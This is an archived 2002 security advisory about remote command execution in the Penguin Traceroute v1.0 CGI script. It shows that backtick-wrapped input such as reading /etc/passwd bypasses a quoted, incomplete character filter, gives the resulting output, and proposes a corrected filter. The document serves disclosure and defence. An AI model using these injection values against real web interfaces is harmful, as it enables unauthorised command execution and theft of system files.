TUCoPS :: Unix :: General :: unix5461.htm

Penguin Traceroute remote command execution
18th Jun 2002 [SBWID-5461]
COMMAND

	Penguin Traceroute remote command execution

SYSTEMS AFFECTED

	v1.0

PROBLEM

	Marco van Berkum [m.v.berkum@obit.nl] posted following, regarding a  web
	interface for traceroute, Penguin Traceroute:
	

	As I was surfing through some older Securityfocus  archives  I  stumbled
	across the article about Penguin traceroute v1.0
	

	

	http://online.securityfocus.com/archive/1/263285

	

	

	This article described some metacharacter bugs in this CGI script,  also
	it included a suggested fix.
	

	

	<quote>

	Fix

	   ===

	   Open up the perl script in your favorite text editor, find a line that has

	   \"$host = $q->param(\'host\');\" Its usually the 13th line down then just add

	   this line \"$host =~ s/[;<>\\*\\|\'&\\$!?#\\(\\)\\[\\]\\{\\}:\'\"\\\\]//g;\" under it and

	   that should parse out any unwanted characters.

	</quote>

	

	

	Well, yes, it does parse out some  metacharacters,  but,  the  \"  `  \"
	(backtick) is not filtered out in any way.  (probably  one  of  the  two
	quotes \" \' \" should be a backtick). Also the  slash  and  the  hyphen
	are not filtered.
	

	 Example

	 =======

	

	entering `cat /etc/passwd` gives us:
	

	

	Taceroute to `cat /etc/passwd`

	traceroute: unknown host root:*:0:0:Charlie

	

	

	This is only the first line because only that one  gets  interpreted  by
	traceroute. But there are ways around this to  retreive  the  full  file
	with some patience:
	

	

	Taceroute to `wc -l /etc/passwd`

	traceroute to 18 (0.0.0.18), 64 hops max, 40 byte packets

	

	

	So we see that in this case the passwd file is 18 lines  big.  we  could
	retreive the rest by doing tail -n 18 /etc/passwd ,  tail  -n  17  etc..
	etc..

SOLUTION

	replace the second quote by a backtick and add slash and hyphen  to  the
	filter.
	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH